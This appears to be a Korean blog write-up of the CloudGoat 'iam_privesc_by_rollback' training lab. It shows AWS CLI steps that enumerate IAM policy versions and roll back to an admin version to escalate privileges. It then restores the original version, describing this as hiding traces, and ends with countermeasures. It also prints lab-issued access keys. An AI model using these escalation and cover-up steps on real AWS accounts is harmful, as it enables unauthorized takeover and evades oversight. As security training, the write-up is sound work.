chon

[ CloudGoat | Easy ] iam_privesc_by_rollback 시나리오 실습 본문

AWS/CloudGoat

[ CloudGoat | Easy ] iam_privesc_by_rollback 시나리오 실습

chon29 2026. 3. 7. 22:03

Github 링크

 

cloudgoat/cloudgoat/scenarios/aws/iam_privesc_by_rollback/README.md at master · RhinoSecurityLabs/cloudgoat

CloudGoat is Rhino Security Labs' "Vulnerable by Design" AWS deployment tool - RhinoSecurityLabs/cloudgoat

github.com


# README

Scenario Resources

  • 1 IAM User
  • IAM Policy
    • 5 policy versions

Scenario Start(s)

IAM User "Raynor"

Scenario Goal(s)

관리자 권한을 완전히 획득

Summary

공격자는 권한이 매우 제한된 IAM 사용자 계정으로 시작하여 이전 IAM 정책 버전을 검토하고 완전한 관리자 권한을 허용하는 버전으로 복원함으로써 권한 상승 공격을 감행할 수 있다.

 

시나리오 개요

 

CloudGoat의 입문용 시나리오인 iam_privesc_by_rollback을 통해 AWS IAM 정책 버전 관리의 허점을 이용한 권한 상승(Privilege Escalation) 공격을 실습해 봤다. 제한된 권한을 가진 'Raynor' 사용자로 시작하여, 최종적으로 전체 관리자(full-admin) 권한을 획득하는 것이 목표이다.

 

공격 경로 (Exploitation Route)

  • 권한 분석: 'Raynor' 사용자의 권한을 분석하여 SetDefaultPolicyVersion 권한이 있음을 발견한다.
  • 버전 검토: 현재 정책 외에 존재하는 4개의 다른 버전들을 하나씩 검토한다.
  • 취약점 발견: 검토 중 전체 관리자 권한(*)이 부여된 특정 버전을 찾아낸다.
  • 권한 상승: 해당 버전을 기본값으로 설정(Rollback)하여 관리자 권한을 획득한다.
  • 흔적 은폐: 목적 달성 후 다시 원래의 제한된 버전으로 돌려놓아 공격 사실을 숨긴다.

[ 환경 구축 및 초기 침투 ]

시나리오 생성

먼저 터미널에서 아래 명령어를 입력하여 실습 환경을 구축한다.

cloudgoat create iam_privesc_by_rollback

 

raynor_access_key_id = AKIARK3RQIGCRJPONEWA
raynor_secret_access_key = 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

Apply complete! 메시지가 뜨면 AWS상에 실습 리소스가 성공적으로 생성된 것이다. 이때 출력되는 Raynor의 Access Key 정보를 기록해둬야 한다.


[ 리소스 생성 확인 ]

실제로 AWS 콘솔에 접속해 보면, 시나리오에서 정의한 대로 raynor-xxxx 형태의 IAM 사용자와 관련 정책(Policy), 역할(Role)들이 생성된 것을 확인할 수 있다.

 

SetDefaultPolicyVersion 권한을 발견

생성된 terraform 리소스를 살펴보면 SetDefaultPolicyVersion을 확인할 수 있다.

사용자에게 관리형 IAM 정책의 버전을 임의로 변경할 수 있는 권한이 부여되면, 현재의 제한된 정책을 과거의 다른 버전으로 되돌려 즉각적인 권한 상승이 가능해진다.

 

IAM 정책 버전 관리 설명

 

IAM 정책 버전 관리 - AWS Identity and Access Management

IAM 정책 버전 관리 IAM 고객 관리형 정책을 변경할 때, 그리고 AWS에서 AWS 관리형 정책을 변경할 때 변경된 정책은 기존 정책을 덮어쓰지 않습니다. 대신 IAM에서 관리형 정책의 새 버전을 생성합니

docs.aws.amazon.com

 

AWS CLI 프로필 설정 (자격 증명 등록)

# 프로필 등록
aws configure --profile raynor

시나리오에서 발급받은 raynor_access_key_id raynor_secret_access_key를 사용하여 내 로컬 환경에 raynor 프로필을 등록하고 정상적으로 접속되는지 확인한다.

 

현재 사용자 정보 확인

# 현재 신분 확인
aws sts get-caller-identity --profile [프로필명]

{
    "UserId": "AIDARK3RQIGCXBVTFEE3X",
    "Account": "092042969477",
    "Arn": "arn:aws:iam::092042969477:user/raynor-cgidwa4m858okn"
}

ARN에는 뒤에 사용자 이름이 포함되어 있으며 배포할 때마다 고유한 이름이 생성된다.


[ 취약점 분석 ]

IAM 사용자 접근 권한을 얻은 후 가장 먼저 해야 할 일 중 하나는 해당 사용자의 환경 내 권한을 열거하는 것이다. 이를 위해 IAM 사용자에게 연결된 정책 목록을 확인할 수 있다.

  • 첫 번째 명령은 list-user-policies사용자의 IAM ID에 직접 내장된 정책
  • 두 번째 명령은 list-attached-user-policies사용자에게 연결되는 별도의 독립형 IAM 정책 (AWS 관리형 정책 또는 고객 관리형 정책)

관리형 정책과 인라인 정책

 

관리형 정책과 인라인 정책 - AWS Identity and Access Management

관리형 정책과 인라인 정책 IAM에서 자격 증명에 대한 권한을 설정하는 경우 AWS 관리형 정책, 고객 관리형 정책 또는 인라인 정책 중 어느 것을 사용할지를 결정해야 합니다. 다음 주제에서는 각

docs.aws.amazon.com

 

User Policy (사용자 정책) = 인라인(Inline) 정책 확인

aws iam list-user-policies --user-name [Raynor_이름] --profile raynor

# 조회 결과
{
    "PolicyNames": []
}

 

Attached User Policy (연결된 정책) = 관리형(Managed)

# 연결된 정책 확인
aws iam list-attached-user-policies --user-name [Raynor_이름] --profile raynor

# 조회 결과
{
    "AttachedPolicies": [
        {
            "PolicyName": "cg-raynor-policy-cgidwa4m858okn",
            "PolicyArn": "arn:aws:iam::092042969477:policy/cg-raynor-policy-cgidwa4m858okn"
        }
    ]
}

고유 식별자인 PolicyARN을 조회할 수 있다. 이후 진행될 버전 조회 및 롤백 명령어는 정책 이름이 아닌 이 ARN 주소를 기반으로 실행되므로 ARN정보를 기록해 둔다.

 

기본 버전 확인

현재 어떤 버전이 활성화되어 있는지(Default Version) 확인하기 위해 가장 먼저 실행해야 하는 명령어다.

 

정책의 세부 내용 및 버전 확인

# 정책 버전 목록 조회
aws iam list-policy-versions --policy-arn [정책_ARN] --profile [사용자명]

# 조회 결과
{
    "Versions": [
        {
            "VersionId": "v5",
            "IsDefaultVersion": false,
            "CreateDate": "2026-03-28T16:43:24+00:00"
        },
        {
            "VersionId": "v4",
            "IsDefaultVersion": false,
            "CreateDate": "2026-03-28T16:43:22+00:00"
        },
        {
            "VersionId": "v3",
            "IsDefaultVersion": false,
            "CreateDate": "2026-03-28T16:43:21+00:00"
        },
        {
            "VersionId": "v2",
            "IsDefaultVersion": false,
            "CreateDate": "2026-03-28T16:43:19+00:00"
        },
        {
            "VersionId": "v1",
            "IsDefaultVersion": true,
            "CreateDate": "2026-03-28T16:43:17+00:00"
        }
    ]
}

ARN을 사용하여 해당 정책이 거쳐온 과거의 버전들을 목록으로 보여준다.

 

console 확인

조회 결과, 총 5개의 버전이 존재함을 확인했다. 이제 각 버전의 상세 내용을 대조하며 관리자 권한이 숨겨진 버전을 찾는다.

 

관리자 권한 확인

# 각 버전별 상세 내용 확인 (v1부터 v5까지 반복)
aws iam get-policy-version --policy-arn [ARN] --version-id [버전] --profile [사용자명]

위 명령어를 5번 반복하여 버전별 상세 내용을 확인할 수도 있고 콘솔로도 확인할 수 있다.

 

V1

# V1 조회
"Statement": [
                {
                    "Action": [
                        "iam:Get*",
                        "iam:List*",
                        "iam:SetDefaultPolicyVersion"
                    ],
                    "Effect": "Allow",
                    "Resource": "*",
                    "Sid": "IAMPrivilegeEscalationByRollback"
                }
            ]

iam:Get*, iam:List* 권한을 통해 정보를 수집(Enumeration)할 수 있고, 결정적으로 iam:SetDefaultPolicyVersion 권한이 있다. 이 권한은과거의 정책 버전으로 돌아갈 수 있는 역할이다. 현재는 권한이 낮아 보이지만, 다른 버전으로 갈아탈 수 있는 권한 상승(Privilege Escalation)의 원인이 된다.

 

V2

# V2 조회
"Statement": {
                "Effect": "Deny",
                "Action": "*",
                "Resource": "*",
                "Condition": {
                    "NotIpAddress": {
                        "aws:SourceIp": [
                            "192.0.2.0/24",
                            "203.0.113.0/24"
                        ]
                    }
                }
            }

 

Effect: Deny와 NotIpAddress 조건이 붙어 있다. 특정 IP 대역이 아니면 모든 접근을 차단하려는 시도다.

공격자 입장에서는 아무것도 할 수 없는 매우 제한적인 상태다.

 

 

V3

# V3 조회
"Statement": [
                {
                    "Action": "*",
                    "Effect": "Allow",
                    "Resource": "*"
                }
            ]

 

Action: "*"와 Resource: "*"가 설정되어 있다. AWS에서 말하는 관리자(Administrator) 권한이라고 볼 수 있다.

모든 서비스를 생성, 수정, 삭제할 수 있는 가장 위험한 버전으로 공격자가 SetDefaultPolicyVersion을 통해 이 버전으로 바꾸는 순간 관리자 권한으로 제어할 수 있다.

 

 

V4

# V4 조회
"Statement": {
                "Effect": "Allow",
                "Action": "iam:Get*",
                "Resource": "*",
                "Condition": {
                    "DateGreaterThan": {
                        "aws:CurrentTime": "2017-07-01T00:00:00Z"
                    },
                    "DateLessThan": {
                        "aws:CurrentTime": "2017-12-31T23:59:59Z"
                    }
                }
            }

DateGreaterThan 및 DateLessThan 조건이 2017년으로 설정되어 있다. 현재(2026년) 기준으로 이 정책은 기간 만료로 인해 아무런 권한도 발휘하지 못한다. 과거 테스트용으로 쓰고 방치된 정책의 전형적인 모습이다.

 

V5

# V5 조회
"Statement": {
                "Effect": "Allow",
                "Action": [
                    "s3:ListBucket",
                    "s3:GetObject",
                    "s3:ListAllMyBuckets"
                ],
                "Resource": "*"
            }

s3 버킷 목록 확인과 객체 조회만 가능하다. 특정 서비스에만 국한된 권한으로, 시스템 전체를 장악하기에는 부족하다.

 

console 확인

기본값은 버전 1이고 버전 3은 Action(행동)와 Resource(대상)가 전체 허용인 것을 볼 수 있다. 이 버전이 관리자 권한을 완전히 부여한다 것을 알 수 있다.


[ 권한 상승 및 공격 ]

정책 롤백 (Rollback)

aws iam set-default-policy-version --policy-arn [ARN] --version-id [버전] --profile [프로필명]

취약한 버전인 v3를 나의 기본 정책으로 설정하여 권한을 상승시킨다.

 

Default Version이 v3로 바뀌었음을 확인할 수 있다.

관리자 권한 테스트

aws iam list-groups --profile [사용자명]

관리자 권한인 v3를 기본값으로 변경했으므로 관리자 권한을 획득했는지 확인해 보기 위해 일반 사용자는 볼 수 없는 IAM 그룹 정보를 조회해 본다.

Raynor가 속한 그룹의 정책 상세 정보 보기

명령어가 성공적으로 실행되며 모든 그룹 목록이 출력된 것을 확인할 수 있다.


[ 흔적 은폐 및 침투 로그 확인 ]

이 시나리오의 마지막 단계로 공격자는 Raynor의 정책 버전을 원래 버전으로 되돌려 자신의 행위와 IAM 사용자의 실제 기능을 숨겨야 한다. 내가 한 행위가 남는지 확인 후 롤백하려고 한다.

 

로깅 상태 확인

# CloudTrail 로깅 상태 확인
aws cloudtrail describe-trails --profile [사용자명] --region us-east-1

trailList: [ ] 결과가 나온다면 현재 활성화된 로그 추적 장치가 없다는 뜻으로 로그를 지울 필요 없이 롤백하면 된다. 

 

신분 위장 및 잠적

# v1으로 복원
aws iam set-default-policy-version --policy-arn [ARN] --version-id v1 --profile [사용자명]
# 복원 여부 최종 확인
aws iam get-policy-version --policy-arn [ARN] --version-id v1 --profile [사용자명]

관리자의 의심을 피하기 위해, 버전 3에서 아무 권한이 없는 버전 1을 기본값으로 변경하고 제대로 바뀌었는지 확인한다.

성공적으로 버전 1을 기본값으로 변경하였다.

 

현재 아무리 강력한 보안 정책을 적용하고 있더라도, 삭제되지 않은 과거의 취약한 정책 버전(v3)이 남아있고 사용자에게 버전 변경 권한(v1)이 있다면 시스템은 취약하다.


[ 실습 종료 및 리소스 삭제 ]

생성한 리소스들을 지우지 않으면 비용이 발생하므로 실습이 끝난 후 리소스를 지우면 된다.

cloudgoat destroy iam_privesc_by_rollback


대응 방안

  • 최소 권한 원칙 준수
    • 사용자에게 필요한 권한만 부여하며, 특히 정책의 기본 버전을 변경할 수 있는 iam:SetDefaultPolicyVersion 권한은 관리자 외에는 엄격히 제한해야 한다.
  • 불필요한 정책 버전 삭제
    • AWS IAM 정책은 최대 5개까지 버전을 저장한다. 보안 테스트나 수정 과정에서 생성된 과거의 취약한 버전들(특히 Admin 권한이 포함된 버전)은 즉시 삭제하여 공격 통로를 차단해야 한다.
  • 중요 권한에 대한 모니터링 강화
    • SetDefaultPolicyVersion과 같이 보안 설정에 직접적인 영향을 주는 API 호출이 발생할 경우, CloudWatch AlarmsSNS 알림을 통해 관리자가 즉시 인지할 수 있는 체계를 갖춰야 한다.
  • 정기적인 IAM 검사
    • AWS Config 또는 IAM Access Analyzer와 같은 도구를 활용하여 과도한 권한이 부여된 정책이나 방치된 정책 버전이 있는지 정기적으로 감사해야 한다.